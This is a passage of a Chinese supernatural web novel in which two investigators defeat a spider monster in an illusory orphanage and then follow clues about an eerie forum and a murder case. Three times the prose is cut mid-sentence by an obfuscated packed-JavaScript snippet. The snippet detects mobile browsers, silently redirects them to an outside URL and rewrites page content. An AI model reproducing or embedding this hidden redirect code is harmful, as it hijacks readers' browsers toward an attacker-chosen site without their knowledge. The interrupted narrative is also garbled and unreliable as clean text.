这句话如同最终的丧钟,敲响在每一个孩子心头,有人甚至猛地捂住了嘴,眼中充满了难以置信的恐惧和……某种被强行压制的、关于灼热与浓烟的碎片记忆开始复苏。 “这里的孩子们……”季青的声音带着一种残酷的怜悯,扫过每一个孩子苍白的面孔,“可能根本不是活人!或者,我们是它用某种力量困在这里的……残影!” 第四条帖子【孤儿院里拥有可以夺取记忆的神秘力量】 “怪物编织了这个‘家’的幻象,用所谓的‘和谐值’系统和那个铃铛胸针,不断地削弱、篡改、甚至消除大家的记忆!让大家忘记死亡的事实,忘记它是个怪物,一遍遍地在这个永恒的噩梦循环里,扮演它想要的‘乖孩子’!” 【警告:个人和谐值过低】 【警告:整体和谐值过低】 【警告:感知屏障失效!感知屏障失效!】 大家眼前疯狂闪烁的红色UI,随着着刺目的提示,领口刺痛的触感传来: 孩子们纷纷低下头,这才发现自己领口的铃铛胸针,其实是一只只的狰狞的红色人面蜘蛛! 模糊的火光、炙热的温度、绝望的哭喊……这些被“和谐”掉的东西,此刻在季青的话语和环境中越来越浓的恐惧刺激下,开始复苏。 “不——!是我的!你们都是我的孩子!!”怪物发出了含混不清、充满占有欲的疯狂咆哮。 可季青关于它本质的揭露,彻底撕碎了它最后的伪装。 “孩子?”季青发出了尖锐的嘲笑,她指着怪物那不断从躯干上增生出来的、苍白浮肿的人手肢节,“你看看你自己!你懂得什么是养育吗?你只是一个窃取了‘母亲’概念的掠夺者!” “你的行为模式,你的筑巢习性……你甚至无法理解真正的亲情!你恐怕是一只无法拥有自己后代的雄性蜘蛛!” “你霸占这里,披着人皮,不过是为了满足你扭曲的、扮演‘家庭’和控制生命的欲望!你把我们这些困在死亡之地的亡魂或者迷失者,当成了你不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449133|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥有的‘孩子’来占有、来玩弄!” 怪物发出了撕裂耳膜的、饱含所有失败、自卑与疯狂怨毒的尖啸! “闭嘴!闭嘴!!我是妈妈!我是!!!” 季青的话语,精准地命中了它最深层、最扭曲、也最不愿被触及的核心!它庞大的身体因极致的暴怒而剧烈膨胀,将身上最后一点“院长妈妈”外皮的残留彻底撑爆! “噗嗤——噗嗤——噗嗤——” 令人头皮发麻的撕裂声密集响起!它那臃肿的躯体上,无数条细长、环节状的、末端骤然膨大化作惨白人手形态的步足,疯狂地穿刺而出! 那些“手”五指俱全,皮肤死白浮肿,指甲乌黑尖长,在空中疯狂地抓挠、舞动,成百上千,如同从尸山血海中伸出的、索命的苍白森林! 它的头颅也彻底变形,口器开合,滴落着具有腐蚀性的幽绿色粘液,数只鲜红复眼镶嵌在扭曲的甲壳上,燃烧着毁灭一切的疯狂。 一只长着无数条人手、庞大无比的恐怖人面蛛,显露出了它完整的、亵渎生命的真实形态! 【警告!警告!和谐值归零!系统崩溃!】 【清除所有不和谐单位!】 那冰冷的UI最后一次闪烁,随即彻底湮灭。 束缚思想的枷锁破碎,但随之而来的,是怪物毫无顾忌的、最原始的杀意! “投票!”季青用尽最后的力气嘶喊,她的声音在怪物的尖啸和巢穴的异响中显得微弱,却无比清晰: “投给它!这个占据了我们死亡之地、篡改我们记忆、把我们当成玩物的怪物!” 第五条帖子,也是最为关键的一条:【孤儿院怪谈,因孩子们而存续】 那么,破解怪谈的钥匙,就是孩子们本身! “我投票给这个蜘蛛怪!”常岚也从血雾中站起,声音坚定。 安瑞宁也站了起来,她脸上的恐惧被一种彻悟后的决绝取代,她指向那扭曲的、舞动着无数人手的蜘蛛怪物,用灵魂呐喊: “我改票!我投给……你!这个窃取了我们安息之地的怪物!” “我投给你!”徐菡远的声音带着冰冷的恨意。 “我…我也投给你!放开我们!”林屿和其他孩子也纷纷站起,他们眼中长期被压抑的愤怒、对真相的恐惧、以及对解脱的渴望,在此刻汇聚成一股微弱却不可忽视的力量。 孩子们的声浪,如同最后的审判,宣判着这个扭曲“家庭”的终结。 人面蛛的所有复眼瞬间缩成微小尖锐的红点!它发出了一声蕴含着所有计划破产、控制权丢失的、最怨毒的终极尖啸! “不乖……不乖的孩子!!!”它的声音彻底变成了扭曲的杂音,席卷整个巢穴,“既然不听话……那就没有存在的必要了!!!” “孩子……杀了再捉就好——A市这片死亡之地,最不缺的就是迷失的灵魂!!!” “轰!!!” 它扬起身前两条最粗壮、覆盖着厚重甲壳、末端同样化为巨大狰狞手掌的肢节,猛地砸向地面!整个巢穴剧烈震动,红色的丝网如同被惊扰的蛇群般疯狂舞动! 那庞大的、亵渎的躯体,带着碾碎一切的疯狂气势,伴随着无数条舞动的、抓挠的苍白人手,如同崩塌的、活着的尸山,向着挺身而出的季青、常岚,以及所有敢于反抗的“孩子们”,发起了毁灭性的、最后的扑杀! 焦糊味、尸臭味、血腥味、以及怪物口中喷出的酸性恶臭混合在一起。 真相大白之后的生存之战,在这座早已死去的孤儿院残骸中,于此刻,轰然爆发! 17. 心巢孤儿院(十) 孩子们的改票声浪,如同最终的审判,彻底点燃了人面蛛的疯狂,让它气急败坏地向孩子们展开了捕杀。 它挥舞着周身僵硬的肢节,那臃肿庞大的躯体竟以一种诡异的姿势爬上了餐厅的天花板,巨大的阴影在月光中投下,如同噩梦般将孩子们笼罩其中。 人面蛛身上的肢节摩擦着,发出有规律的声响,如同催命的倒计时,每隔几秒,就有一只巨大的苍白人手在血雾中出现,从天花板高高砸下,企图将孩子们碾碎!! 腥风扑面,死亡的阴影瞬间笼罩。 “散开!”常岚大喊着,指引孩子们离开餐厅,向孤儿院的深处逃去,自己则运转着体内残存的内息,双掌泛起微弱的金光,试图以血肉之躯为大家争取逃跑的时间! 他刚准备迎着那两条最粗壮的、覆盖着厚重甲壳的巨掌肢节冲上去时,却被一把拽住。 “冷静点!常岚!”季青一边用手拽着常岚,一边往走廊的深处跑去,“先去拿你的剑!” “你知道我的剑被藏在哪了?”常岚一时间不知道季青要把他带到哪里,但他的话还没问完,就感到身后有一阵阴风袭来! 是人面蛛的肢体!密密麻麻的肢节连接着枯瘦的巨手急速追来,几乎将走廊塞得满满当当! 没有地方可以躲了! “你先走!”常岚将季青推开,转身试图再次硬扛住人面蛛的追击! 然而,就在那无数苍白人手即将触及季青和常岚的瞬间—— “不准伤害季青姐姐!” 一个瘦小的身影猛地从旁边冲了出来,是安瑞宁!她闭着眼睛,打开走廊侧边的门,死死挡在季青面前! “噗嗤!” 数只尖锐的“人手”瞬间贯穿了门板和她单薄的身体。 安瑞宁身体猛地一僵,她低下头,看着从自己胸口透出的、苍白瘦削的手指…… 可她的脸上却没有太多痛苦,反而露出一丝解脱般的微笑,她看向季青,气若游丝: “季青姐姐……你说的是对的……我们……早就不该在这里了……” 话音未落,她的身体便如同被戳破的气球般迅速干瘪,化作精纯的能量被那些“人手”吸收,只在原地留下逐渐消散的细微光点。 “瑞宁!”在旁边目睹一切的徐菡远目眦欲裂,泪水奔涌而出。 这惨烈的一幕,非但没有吓退其他孩子,反而如同点燃了导火索。 “跟它拼了!” 林屿红着眼睛,捡起地上断裂的椅子腿,狠狠砸向一条准备抓向徐菡远的细长肢节—— “反正早就死了!我还怕再死一次吗?!” 他的攻击如同蚍蜉撼树,却鼓舞了其他人。 “跟它拼了!给季青姐姐开路!” “不能白死!让它血债血偿!” “让这个怪物把吞掉的东西,全给我们吐出来!” “还我们——自由!” 孩子们尖叫着,哭喊着,却无比勇敢地冲了上去。他们用自己弱小的身体,去冲撞,去撕咬,去抱住那些舞动的苍白人手! 他们像扑火的飞蛾,明知是死,却义无反顾! 一个,两个,三个…… 不断有孩子被贯穿、被撕裂、被吸收。 每消失一个孩子,人面蛛的力量似乎就恢复一分,那狂暴的气势更甚。 但它毁灭的速度,竟一时被这前仆后继的牺牲延缓了!一条条通往季青和常岚的路径,被孩子们用灵魂和存在的彻底湮灭,硬生生地阻隔开来! 整个巢穴回荡着孩子们的呐喊与人面蛛狂躁的嘶鸣。 季青冲到一时间愣住的常岚身边,再次将他拽走,“我们去禁闭室!来这里的第一天我就找过了,只有那里没有去成!” “禁闭室就是这个巢穴里最严密,最不会让人轻易涉足的地方!你的剑大概就在那里!” 常岚跑得比季青快,在明了方向之后,直接一把将季青横抱起,朝禁闭室狂奔而去! 禁闭室的门已经被奔涌的红色丝线冲开,巨量的红线在禁闭室的中心凝聚成散发着猩红光芒的虫茧,如同心脏一般搏动。 季青扫了一眼就很快发现了目标: “那边!墙角那堆最厚的丝茧后面!” 常岚顺着她指的方向看去,只见禁闭室的角落,一小堆如同肿瘤般鼓动的暗红色丝茧后方,隐约透出一点熟悉的、青钢色的寒光! 是常岚的剑!它果然被这怪物藏在了这里! 但那里是巢穴能量最密集的区域,无数粗壮的红色丝线如同血管般盘绕其上,距离他们所在的位置有好几米远,中间充斥着狂舞的苍白人手! “你们快去!”林屿抹了一把脸上的血污,眼神决绝,“我们来拦住这个怪物!” “我帮你开路!”另一个高个子的男孩喊道。 没有犹豫,幸存的孩子们自发地组织起来。他们不再像无头苍蝇般地抵抗,而是有了明确的目标——为季青和常岚开辟一条通往禁闭室的通道! 林屿和徐菡远带领着剩下的孩子,组成了一道脆弱却坚定的人墙,他们用自己的身体吸引、冲撞那些攻击性的肢节,为季青和常岚创造冲出去的缝隙。 “快走!” “别回头!” 仍然不断有孩子在人墙中被撕碎、吸收,每一声短暂的惨叫,都像鞭子抽打在季青和常岚的心上。 常岚咬紧牙关,眼眶通红,利用同伴用生命换来的短暂空隙,如同灵活的猎豹,在舞动的苍白森林中穿梭、翻滚,拼命冲向那个角落! 终于,他们扑到了那堆暗红色的丝茧前!顾不得那丝茧散发出的令人作呕的气息波动,常岚用手,用牙齿,疯狂地撕扯着包裹在剑外面的粘稠丝线! 季青则强提一口气,站起来猛地将门抵上,她看到保护他们的人墙已经摇摇欲坠,说不定过一会人面蛛就会来到这里。 “我找到了!”常岚终于扯开了丝网的空隙,那柄古朴的七星剑似乎是感受到了主人的气息,剑身上的星点微微散发着橙金色的光辉。 只要这一点点空隙就够了!常岚将左手伸进红线之中,一把抓住七星剑的剑锋! 掌心被剑锋划破,血液沿着七星剑古朴的纹路奔涌,七星星点依次亮起,锐利而强大的气息瞬间绽开,将红线撕扯了个粉碎! 沉甸甸的剑身入手,带着一丝熟悉的凉意。 他毫不犹豫,转身就想回去帮助其他孩子。 然而,就在他转身的刹那,一条之前潜伏在丝茧阴影中的、格外纤细迅捷的苍白人手,如同毒蛇般猛地窜出,瞬间缠住了季青的脚踝,巨大的力量将她狠狠甩向地面! 意料之中的痛感并没有传来,缠着季青脚踝的力量突然消失,季青睁眼才发现常岚已经凌空斩断那只人手,将她稳稳接住。 常岚的剑迅速在空中挽出一个漂亮的剑花,剑锋的寒光激荡出清脆的剑鸣,瞬间将那可怕的肢节整整齐齐切成数段。 常岚把季青轻轻放下,将她护在身后,头也不回地问道:“这怪物还有哪些弱点?季老师你有核实到吗?” 与此同时,更多的肢节如同闻到血腥味的食人鱼,蜂拥而至! 季青一边躲着周围恼人的红线,一边在蜘蛛精造成的巨大响动中朝常岚大喊: “火啊!它怕火!!” “你说过这个,但是!”常岚懊恼地砍着那些似乎无穷无尽的肢节,“这里没有火啊!” 糟心啊!要是他擅长道法咒术的话,直接丢个符纸或者念个咒岂不是早就解决火种的问题了! 战斗中容不得多想,季青的目光瞬间锁定了旁边一块之前因人面蛛的攻击而裸露出来的、相对干燥坚硬的墙壁基岩! 点火的方式倒是有很多种! “火星可不可以!”季青朝常岚喊着,“击石取火!” 常岚闻言立刻双手握剑,将全身残存的内息,连同求生的意志,全部灌注于剑身之上! “铮——!” 长剑发出清越的嗡鸣,剑刃与石英岩剧烈摩擦! 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451720|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 串串耀眼的、橙红色的火星,猛地从剑刃与岩石的摩擦处迸射而出!这些火星四处飞溅,有些成功溅落在了旁边那些垂落在地上的普通蛛丝上! “呼——!” 一簇红色的火苗,瞬间从蛛丝上窜起!并且以惊人的速度,沿着蛛丝蔓延开来,迅速点燃了墙壁上那些盘绕的红色丝线! “吼——!!!” 人面蛛发出了前所未有的、混合着极致痛苦与恐惧的尖啸! 火焰,是它最原始的恐惧,是铭刻在它存在本源中的毁灭记忆,那些作为它力量源泉的红色丝线,此刻在火焰中如同引线般剧烈燃烧。 它疯狂地挥舞着肢节,试图拍打身上的火焰,但那些赤红的火焰顺着丝线,如同复仇的业火,疯狂蔓延至它的全身。 常岚已经从禁闭室冲出,他踩着人面蛛粗壮的肢节、踏着火焰来到了人面蛛的身上! 他高高跃起,七星剑带起流风,剑身上燃起金色的火光,剑势如同流星从天而降,狠狠斩断了人面蛛的腰节,将它砍作两段! 人面蛛从半空坠落,狠狠砸向地面的火海,在地狱般的灼烧中抽搐着。 巢穴在烈火中剧烈燃烧,发出噼啪的爆响。 那些包裹着人形残骸的丝茧在火焰中化作飞灰,仿佛无数的灵魂在此刻得到了超脱。 而整个孤儿院开始剧烈地扭曲、震动,仿佛这个依托怪物力量存在的幻境即将崩塌。 熊熊火光中,映照着孩子们或解脱、或悲伤、或决绝的面容。 季青看着在火焰中哀嚎、翻滚、最终崩塌的巨大蜘蛛怪物,看着周围开始变得虚幻的景象,一股难以言喻的悲伤与释然涌上心头。 她轻轻开口,哼唱起一首旋律。 那旋律不再诡异,不再空灵,而是带着一种久违的、真实的温暖,仿佛穿越了时光,来自于那个早已被焚毁的、真正的孤儿院。 那是她在记忆中,真正的、未被扭曲的孤儿院童谣: 睡吧睡吧好孩子呀, 窗外的月光轻轻洒, 躺在妈妈的怀抱里, 和妈妈说句悄悄话。 睡吧睡吧好孩子呀, 梦的花园为你开花, 萤火虫点亮小灯笼, 陪你走进甜蜜童话。 她的声音起初很轻,但渐渐地,徐菡远跟着哼唱起来,还活着的、以及那些在火焰中若隐若现的、孩子们透明的身影,都跟着哼唱起来。 纯净的、温暖的童谣声,汇成一股无形的力量,与熊熊燃烧的烈火一起,冲刷着这个扭曲的巢穴。 人面蛛在火焰与歌声中,发出了最后一声不甘的、绝望的嘶鸣,那庞大的、由无数人手构成的躯体,终于在烈焰中彻底崩塌、瓦解,化作飞灰。 “我们……回家了……” 徐菡远看着季青,露出一个无比安宁的笑容,她的身体,连同其他孩子的身影,开始在火光和温暖的歌声中,渐渐变得透明,如同晨曦下的露珠,缓缓消散。 整个孤儿院的景象如同褪色的油画般剥落、消散。 直到清爽的夜风重新吹拂过来,常岚才惊觉已经回到了现实世界,他伸出手臂这里望望,那里拍拍,确认自己确确实实是变回大人了。 不过松了一口气的常岚还没忘记正事。 “唉……?应该是在这附近吧?”他左顾右盼,在地上搜寻了一圈,找到了孤儿院门口两人落下的手机。 “季老师,你的手机!” 常岚捡起手机,站起身,朝季青挥了挥手。 季青没有回答他,而是径直朝废墟深处走去,常岚这才注意到一串幽蓝色的闪光,它们规律地浮现在废墟之中,仿佛指引着季青前进。 直到季青把终点那团最亮的闪光拢在掌心,常岚才凑过来:“难道还有通关奖励吗……唉,怎么是个护身符?” 季青捏着那个三角形的黄色护符仔细端详,正面是一只红色蝴蝶的徽记,而背面则写着两个名字: “季青……季绯?” 18. 桂溪苑凶杀案(一) 季青和常岚正盯着三角护身符背后的名字时,护符突然再次发出了光亮。 护身符微微颤动着,纤细柔软的触角从护身符的一面伸出,接着,一只散发着金色光辉的半透明蝴蝶从护身符中钻出,震颤了一下翅膀,飞向夜空。 “原来是庄周蝶。”常岚的目光追随着美丽的蝴蝶,向季青解释着:“这个大概就是让你和孤儿院的孩子失去记忆的罪魁祸首。” “它的茧可以保存别人的记忆,孤儿院里的人面蛛大概是利用红茧房困住了它,吸收甚至改造了孩子们的记忆。” 季青目送着庄周蝶消失在夜色中,“所以……”她接过常岚递来的手机问道:“我过去的记忆也随着它挥一挥翅膀,彻底消失了?” 常岚耸耸肩,如果在它化蝶之前打开茧壳,大概还能取回记忆,但这只庄周蝶被迫吸收了太多记忆,提前羽化了。 “不过倒也不是全无收获……”季青将护身符翻来覆去,全方位拍了几张照片之后,把护身符递给常岚:“常道长知道这个护身符是做什么用的吗?” 护身符只是被常岚拿过去掂量了一下便还给了季青,“我不擅长道法咒术这些,这个护身符看起来没有什么特别的地方,就是一个祈求平安的护符。” “倒是那个名字,是你什么亲戚吗?” 季青轻轻摩挲着三角护身符,季绯这个名字听起来和她的名字实在太像有什么联系,可自己居然对这个名字以及这个名字的主人毫无印象。 【不可以忘记!】 脑海里突然冒出的声音吓了她一跳,她立刻晃了晃脑袋,想要把这个念头赶出去。 常岚看季青困惑的样子,抱着手思索了一下,补充道:“除了名字,护身符上那个蝴蝶形状的徽记也很特别。” 这句话倒是点醒了季青,季青见过这个蝴蝶徽记,就在—— 那个诡异的论坛里! 季青把护身符揣进兜里,点开了手机,“这个蝴蝶徽记我在登录论坛的时候见过。”季青一边操作手机一边向常岚说明,“验证管理员权限的时候出现的。” 常岚听季青这么说,也打开了自己的手机点进论坛,想看看自己主页是不是也有这个徽记,然后—— “咦?” 常岚凑到季青跟前,把自己的手机屏幕展示给季青看: 【检测到用户近期存在发布多条包含虚假信息的内容,该行为已构成违规,依据用户条款,现对该账户做出封禁7天处理】 “啊?” 常岚尝试将处罚通知弹窗关闭,可整个网站也跟着一起自动关闭了。 “抱歉……”季青揉了揉眉心,“内容相悖的帖子发太多了,本来还以为找到了作弊的方法,现在反而连累你一个星期都用不了论坛。” 她着实没想到能在这里被论坛摆一道,这个论坛这么诡异,却偏偏在这种地方和普通的社群网站如此相似。 “别道歉,季老师,是我没看到用户条款的问题,要是我那时候不那么手快,没把弹窗点掉就好了。”常岚挠了挠脑袋,“反正现在暂时用不了论坛,不如回去好好休息一下。” 季青点点头,又看了一下锁屏,22:50,现在回去还能赶在12点之前到家睡个安稳觉。 上一次睡得饱饱的觉,好像还是在心巢孤儿院怪谈里…… 两个人在路边站了半天才等来网约车,一路上常岚都在望着车窗外,莫名已经快要午夜,可A市的街道依然车水马龙,街边的广告牌和各色装饰灯光映得他漆黑的眼瞳都满是吵闹的色彩。 他常常觉得A市的夜晚比白天更热闹。 常岚把视线从车窗外收回,刚想找季青聊点什么—— 就看见季青掏出随身携带的笔记本,在纸上飞速写着什么…… 现在到家能在十二点前洗漱完,六点半出发去学校,七点到办公室,烧水、整理办公桌、泡茶、检查试卷、准备屏蔽器…… 完全能赶上八点的期末考监考!好!感恩心巢孤儿院扭曲时空的特性!工作没有被影响非常完美!! 然后是最近遇到的诡异事件,先要回去看一下这次有没有升级,解锁了什么新的管理员功能;然后查一下那个庄周蝶和论坛的蝴蝶徽记是不是有什么联系;还有那个关注到了叠影事件的神秘电台,它会注意到这个月的受害者已经脱离险境了吗…… 还有季绯究竟是谁?为什么自己会有【绝对不能忘记】的念头冒出来? 总之查完这个查那个、做完这件再做那件、没关系,一切都还在掌控之中!!! 直到把季青送到租住的桂溪苑小区门口,常岚都没能和她说上一句话,只在摇上车窗之前小声说了句: “早点休息——” 还没等到季青的回答,网约车就一脚油门开走了,把常岚的话直接抛在汽车尾气里,过了一会,常岚的手机传来微信的提示音: 【你也早点休息,还有,】 【今晚和明早,注意一下凝真观门口的自动售货机。】 自动售货机怎么了?常岚一时间想不明白,但一头雾水的他还是乖乖回复了: 【好0v0】 回到凝真观的时候,常岚特意留意了一下门口的自动售货机,外表崭新红色的售货机亮着白色的射灯,照着里面摆放得满满当当的商品,看起来和随处可见的普通的售货机没什么不同啊。 不过他还真没想过这个售货机是什么时候出现在道观门口的,毕竟他平时也就是个大门不出二门不迈的家里蹲。 好像也就是昨晚熬夜研究论坛的时候,对凝真观的茶水快免疫的他为了提神,在这个售货机买了好几罐咖啡。 那就……再来一罐? 扫码、挑选饮品、付款、取货,整个流程都很顺利,摸不着头脑的常岚一路玩着抛接咖啡罐的游戏回寮房洗漱睡觉去了。 与此同时,回到出租屋的季青并没有闲下来,她窝在沙发上,查看这一次的“战果”。 一回生二回熟,再次进入黑底白字的诡异论坛,季青精准锁定了右上角的用户名:【管理员02-季青】 熟悉的黑底金字的弹窗出现,金色蝴蝶的徽记上闪动着流光,仿佛蝴蝶正要振翅高飞。 【怪谈信息结算中……】 怪谈名称:心巢孤儿院 怪谈状态:已归档 危害等级:A级 探索程度:100% 综合评分:S级 好!探索程度终于是百分之百了!好顺眼! 季青在心里把自己小小夸奖一下,继续往下翻。 【个人奖励结算】 基础生存奖励:无伤存活(+200经验值) 核心谜题破解:破解和谐值机制(+100经验值) 支线任务达成:解放被困的灵魂(+100经验值)还原当年事件真相(+100经验值) 协作支援加成:与搭档配合默契(+40经验值) 达成隐藏成就:[旧时童谣]:还原被人面蛛扭曲的童谣——真实之爱永不湮灭(+40经验) 个人评分:S级。 该说不愧是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463249|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' A级怪谈吗,虽然个人评价都是S级,但比C级的叠影迷踪多了一倍的经验值,甚至还有更多的支线任务。 经验多了一倍,那也就是说等级应该也有所提升喽……季青再次点击弹窗。 【管理员等级提升:LV.1-LV.3】 【权限解锁】: 管理员-关键信息核实:您现在可以锁定帖子中的关键信息,并将其高亮标记,进行脱离帖子的单独核实。 管理员-核实关联验证:您现在可以选择一个已核实存在的怪谈帖子作为怪谈主体,主体可以与其他相关但未被核实存在的帖子进行关联,系统将自动为您验证相关帖子的核实情况。 势力关系提升:[凝真观-信赖]您与凝真观当代传人常岚升级成了可靠的搭档关系,获得好搭档特权:可以免费委托常岚问卜算卦做法事(注:带来的一切问题本论坛概不负责)。 ……行,季青眼皮又一跳,免责声明出的倒是快。 不过至少这两个升级的新功能看起来很有用,下次再进行提前调查的时候就不用像这次一样,一口气发多条帖子导致封号了。 还没等季青研究新功能到底如何使用,手机的闹铃就准时响起——这是季青特意设置的,为了收听那个关注过叠影事件的午夜电台。 季青打开电脑,点进了这个午夜直播更新的电台节目。 【“嘀——”】 【晚上好,各位睡不着觉的,以及根本不用睡觉的朋友们,这里是《子夜异闻》,我是你们的主播余子夜,一个在阳间陪你们聊阴间事的打工人~】 电台里清亮活泼的欢快女声传来,让季青有点感慨——同为打工人,可主播半夜上班居然还能这么有活力,职业素养着实高超。 【先来关注一下A市神秘连环失踪案,七月已至,但尚未发现第六位失踪者,考虑到可能存在失踪者亲属尚未报警的情况,本台将持续追踪报道。】 【下一条新闻,城西住宅区密室凶杀案。据悉,目前城西住宅区出现了两起凶杀案,受害者均为独居人士,经可靠消息透露,两位受害者家门均无撬锁痕迹,也无可疑指纹。】 【凶案现场为密室,却有多处打斗痕迹,受害者死因均为利器切割而死。子夜在此提醒广大听众,务必注意夜间居家安全……】 以前怎么没注意到A市居然这么不太平? 先是连环失踪案,现在又是密室凶杀案,按照这个速度,A市的死亡率迟早有一天要超过出生率吧…… 【以上,感谢您的收听,祝大家能够继续度过在A市平安的一天,晚安。】 季青耐着性子听完电台,在笔记本上新的一页随手写下了“密室凶杀案”的标题,才合上笔记本,结束今天的安排,躺到床上。 不对,还差一项,季青伸手捞过手机,又定了一个早上五点的闹钟。 晚安,A市。 第二天早上五点,闹钟准时响起,季青没有急着起床,而是先打开手机,点进了论坛。 季青并没有浏览论坛,而是不停刷新着网页,如果她没有猜错的话…… 5:04,出现了意料之中的弹窗: 【距离本日论坛关闭,还有一分钟,59、58、57……】 5:05,太阳的第一缕微光照射到A市的时候,论坛消失。 与此同时,季青的微信提示音弹了出来,这次却不是什么工作信息: 【季老师!你不是让我在早上留意门口那个自动售货机吗?】 【刚刚那个自动售货机,突然消失了!】 19. 桂溪苑凶杀案(二) 常岚:【总不能是我把这个自动售货机买倒闭了吧,难道这个自动售货机也是什么怪谈?】 季老师:【没错,那个自动售货机也是一个怪谈。】 季老师一边在书架里挑选自己屯的笔记本,一边给常岚上课: 【正因为这个自动售货机是怪谈,所以才会在早上消失。】 季青记录了这几天论坛出现和消失的时间,发现都不是整点,既然不是按照常规的整点小时制设置开放时间,甚至还有倒计时这么准确的设定,那么就一定有其他规律。 这几天的论坛都是早上五点左右开启,晚上七点左右结束,结合现在快要放暑假的日期,答案已经非常明显了。 论坛出现和消失的时间,就是A市日出和日落的时间。 【原来如此!】 常岚打开昨天晚上在怪谈售货机那里买来的咖啡喝了一口,他昨天也认真研究了一下买到的罐装咖啡,和超市货架上卖的没有任何区别,生产日期、批号、商标都清清楚楚,真不知道这个自动售货机是怎么进货的。 【不过总觉得以季老师的个性,应该不只是能想知道论坛开关的具体规则这么简单?】 那是当然,季青从书柜里挑出一个黑色封皮的笔记本。 【每个地区日出日落的时间,其实都因为经纬度差异略有不同,甚至可以精确到县区,论坛既然分秒不差以A市的日出日落为时间基准,也就意味着……】 【论坛的“服务器”,就在A市!】 【我们遇到的怪谈,除了叠影那天下午被你逼出来一次,其他都是在晚上才能接触到,结合我在论坛的搜索,基本可以确定A市的怪谈只在晚上活跃。而论坛也是日落后才出现,那也就是说——】 季青从笔筒里拿出一支白色的丙烯笔,在黑色封皮的笔记本上写下几个大字—— 《A市夜间安全守则》 【这个论坛,很可能是一个基于A市怪谈的“监控”甚至“管理”系统。】 季青抬笔,在笔记本上写下了第一条规则: 一、A市的怪谈在日落后活跃、日出后休眠,但造成的影响不会在白天消失。 季青的手紧握着笔,力度大到几乎穿透纸背,作为一个“不燃烧的人”,她很久很久没有这么兴奋过了—— 主动寻找规则、利用规则、直到知晓一切! 她已经迫不及待要深入了解这个论坛了: 【常岚,下周有空吗,我们去隔壁B市试试论坛能不能在A市以外的地方打开。】 常岚把喝完的咖啡空罐丢进垃圾桶,马上回复道: 【好搭档的邀请我当然是随叫随到!只是为什么要等到下周?就算我被封号了,季老师你的论坛也可以正常登录呀0.0】 季青看了眼手机屏幕上方的时间,回复了一条信息就去洗漱了: 【因为我要上班,现在是A大期末周。】 真是的,跟不上班的人说不清楚,社畜的苦社畜知道。 好在今天的安排和季青计划的一样:六点半出发去学校,七点到办公室,烧水、整理办公桌、泡茶、检查试卷、准备屏蔽器…… 一切都很完美! 准备去教室分发试卷的时候,季青又在教室门口碰到了两个男同学,本来季青是不想偷听学生的谈话的,但这两个同学实在眼熟—— 好像就是之前在图书馆查凝真观资料的时候,遇到的那个去凝真观求不挂科的男同学啊。 “亮仔,这次有没有信心?” 那个叫“亮仔”的男同学,挤出一个虚弱的笑容,向同行的朋友比出一个大拇指: “包的兄弟,自从听你说那个道观许愿反而会坏事之后,我下定决心逆天改命,连续熬夜两天,今天早饭都没吃,挤出时间努力背书!” “这次一定过!我要让老天爷知道人定胜天!” 加油啊亮仔!季青在心里默默握拳。 然而事与愿违,就在季青监考的这个考场,亮仔同学就因为没吃早饭加熬夜,低血糖发作当场晕倒,被一起监考的老师背去了医务室。 等考试结束,季青去收他的试卷的时候,发现才答了三分之一。 这下是非挂不可了。 季青揉了揉眉心,还真的以奇妙的方式挂科了,难道凝真观也是什么离奇的怪谈吗? 结束了民俗专业的期末考,今天连一向被研究生们吐槽禽兽的秦教授都格外高兴,组织大办公室的老师们一起聚餐。 虽然回家的时候天都黑了,但季青总觉得今天的小电驴都骑得格外轻快呢。 回到租住的桂溪苑小区,季青掏出随身笔记本继续执行行程,接下来还要拿快递、给小电驴充电…… 抱着快递箱走到小区门口的时候,季青才发现门口吵吵嚷嚷的。 一个胸前挂着摄影机、染着栗色短发、穿着利落牛仔短裙的女孩子,正在和穿着黑色保安服的保安掰扯: “拜托你了保安同志,让我进去吧~我还有熟人正在里面等我呢。” 年轻的保安一脸无耐,挥挥手说:“那你就让‘熟人’来接你呗,你也知道现在还有警察在这边调查,要是放进去了可疑人员,又发生了什么事,老板真要炒了我的!” 警察?发生什么事了?季青忍不住往那边凑了凑,怎么自己这个住户都不知道的? “我又不是什么可疑人员!”短发女孩从包里翻出什么递到保安面前:“你看,这是我的记者证,我是《子夜异闻》电台的记者兼主播,余子夜!” 哦?季青挑了挑眉,走上前去,此时保安正在第二次拒绝余子夜:“你是电视台台长也不行啊,你又不住在这,理论上我不能放你进去!” 季青凑上去,搂住余子夜的胳膊,朝她使了个眼色:“表姐?你怎么到楼下了也不跟我说一声?” 